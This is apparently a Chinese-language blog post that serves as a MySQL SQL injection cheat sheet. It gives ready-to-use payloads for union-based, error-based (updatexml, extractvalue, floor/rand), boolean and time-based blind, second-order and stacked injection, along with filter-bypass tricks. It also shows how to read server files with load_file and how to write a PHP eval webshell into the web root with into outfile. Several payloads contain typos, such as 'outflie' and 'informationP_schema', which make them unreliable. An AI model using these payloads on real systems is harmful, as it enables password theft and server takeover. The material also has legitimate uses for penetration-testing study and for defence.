一、有回显注入

1.信息收集

当发现存在sql注入后,首先应该进行查看数据库版本信息以及系统信息,确定后期渗透路径。

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

2.Union Select 注入

查询全部数据库名

schema_name from information_schema.schemata limit 0,1//
schema_name from information_schema.schemata(可多行显示的情况下)
group_concat(schema_name) from information_schema.schemata 

查寻表名

table_name from information_schema.tables where table_schema='数据库名' limit 1,1或
table_name from information_schema.tables where table_schema='数据库名'
group_concat(table_name) from information_schema.tables where table_schema='数据库名'//单引号可替换编码处理,如hex编码

查字段

column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1
column_name from information_schema.columns where table_name='表名' and table_schema='库名'
group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名'
group_concat(column_name) from information_schema.columns where table_name='表名'

查询数据库

select 1,2,3,字段1,5,字段2,7,8 from 数据库.表
union select 1,group_concat(username),group_concat(password) from 表名
group_concat(id,username,password) from 表名

getshell

想要在数据库写入 shell必要条件有读写权限,以及已知路径

绝对路径:可以通过报错,404等界面获得

查看读写是否开启:

@@global.secure_file_priv
secure_file_priv的值为null,表示限制mysqld不允许导入/导出
secure_file_priv的值为D:/,表示限制mysqld的导入/导出只能发生在D盘目录下
secure_file_priv没有具体值时,表示不对mysqld的导入/导出做限制

 

读文件:

load_file('c:/inetpub/wwwroot/index.php')

写文件:

"<?php @eval($_GET[x]);?>" into outfile 'C:/Inetpub/wwwroot/cc.php'

EG:

首先查看可写入路径

 

尝试写入phpinfo 使用函数 union select <?php phpinfo()?> into outflie '/var/masql-files/info.php'

 

 使用load_file函数读取:union select out_file ('var/mysql-files/info.php')

3、报错注入

 floor(rand(0))报错

count();统计该列有几条数据
rand():产生0-1随机数
floor():向下取整函数
floor(rand(0)*2),为固定值0,1101
group by :根据某一列排序,改列必须出现在前面查询的内容
concat(a,b):将a,b连接起来
limit(0,1):从第0个位置开始读取一个。 完整报错语句:union
select count(*),concat((select database()),floor(rand(0))) as a from information_schema.tables group by a
读取数据库: union select null,count(*),concat((select schema_name from information_schema.schemata limit 0,1),'---',floor(rand(0)*2)) as a from information_schema.schemata group by a--+
读取表:union select null,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),'---',floor(rand(0)*2)) as a from information_schema.tables group by a--+
读取字段:union select null,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),'---',floor(rand(0)*2)) as a from information_schema.tables group by a--+
读取值:union select null,count(*),concat((select password from users limit 0,1),'---',floor(rand(0)*2)) as a from information_schema.tables group by a--+

 updatexml函数报错

 updatexml()是更新xml文档的函数
语法 updatexml(目标xml文档,xml路径,更新的内容)
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
其中第二个参数 “xml路径” 必须是遵循/xxxx/xxxx/xxxx这种格式的,x处是啥是几位都无所谓,只要你遵循了这个格式,即使没查到也不会报错,所以只要让第二个参数不满足条件,就会报错。
查询当前数据库:and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
查询数据库中的表:and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+
查询表中的字段:and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x7e),1)--+
读取值:and updatexml(1,concat(0x7e,(select group_concat(username,':',password,'---') from users),0x7e),1)--

extractvalue()报错注入

 

extractvalue()是一个对XML文档进行查询的函数
语法   extractvalue(目标xml文档,xml路径)
其中第二个参数 “xml路径” 必须是遵循/xxxx/xxxx/xxxx这种格式的,x处是啥是几位都无所谓,只要你遵循了这个格式,即使没查到也不会报错,所以只要让第二个参数不满足条件,就会报错
extractvalue()能查询字符串的最大长度为32,如果想要的结果超过32,就需要用substring()函数截取,一次查看32位
查询数据库:and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
查询表名:and extractvalue(1,concat(1,(select table_name from informationP_schema.tables where table_schema=database() limit 3,1),1))--+
查寻列名:and extractvalue(1,concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1))--+
查询字段:and extractvalue(1,concat(1,(select password from users limit 0,1),1))--+

 

4、布尔型盲注

substr(a,b) #截取字符串,从第a个开始截取b个字符串
length(a)#判断a的长度,a可以为函数

获取数据库名:

判断数据库长度:
and length(database())>3--+
猜解数据库名:
and asii(substr((select database()),1,1))>100
and substr((select database()),1,1)='s'

获取表名:

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100
and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='s'

获取字段

and ascii(substr((select column_name from information_schema.columns where table_column=database() and table_name='users' limit 0,1),1,1))>100
and substr((select table_name from information_schema.columns where table_column=database() and table_name='users' limit 0,1),1,1)='s'

获取值

and ascii(substr((select password from users limit 0,1),1,1))>100
and substr((select password from users limit 1,1),1,1)='s'

5、二次注入

原理

再注册处不存在注入,对单引号或双引号做了转义,在登录或者其它查询处存在注入
条件一:需要有出入语句或者更新语句
inset into users(username,password) values($username,$password); //此处对username、password做了字符转义,不存在注入
条件二:需要有查询处,且查询地方没有做过滤
select * from users where username=$username;//此处username一般是从cookies中获取,没对字符转义。 
 ·      

6、update注入

在注册用户或写入内容处容易出现update注入,通过写入sql语句,在回显处查看注入的内容。
insert into uers(admin,password) values($username,$password)
写入的语句白被直接执行后将结果放到values。

 

7、堆叠注入

与正常注入无异,在闭合后可使用分号同时执行两条或多条sql'语句

 

8、延时注入

if(substr((select database()),1,1)='s',sleep(5),sleep(1))

9、注入绕过

空格绕过:
%0a,%0b,%0c,%0d,%a0,%20,%00,/**/,/*!*/,%09,+,()
引号绕过:
select username from 'users'//可将users替换为16进制来绕过单引号,select username from 0x7573657273
逗号过滤:
from for绕过
limit 1,1等价于from 1 for 1
substr((select database()),1,1)等价于substr((select database())from 1 for 1)
join绕过
union select 1,2等价于union select * (select 1)a join (select 2)b
and or xor not绕过:
and &&
or ||
xor |
not |
#绕过
%23
-- -
-- +
--
or '1'='1
常见语句绕过:
大小写
注释绕过 sele/**/ct uni/**/on
内联注释 /*!union*/ select
双写绕过
编码绕过 url\hex\ascii\16进制
等价函数:
hex()\bin()==>ascii()
sleep()==>benchmark()
concat_ws==>group_concat()
mid(),substr()==>substring() left() right()
@@user==>user()
@@datadir==>datadir()

 

 

 

 

 
 
 
posted on 2021-07-27 12:58  牧羊大哥  阅读(286)  评论(0编辑  收藏  举报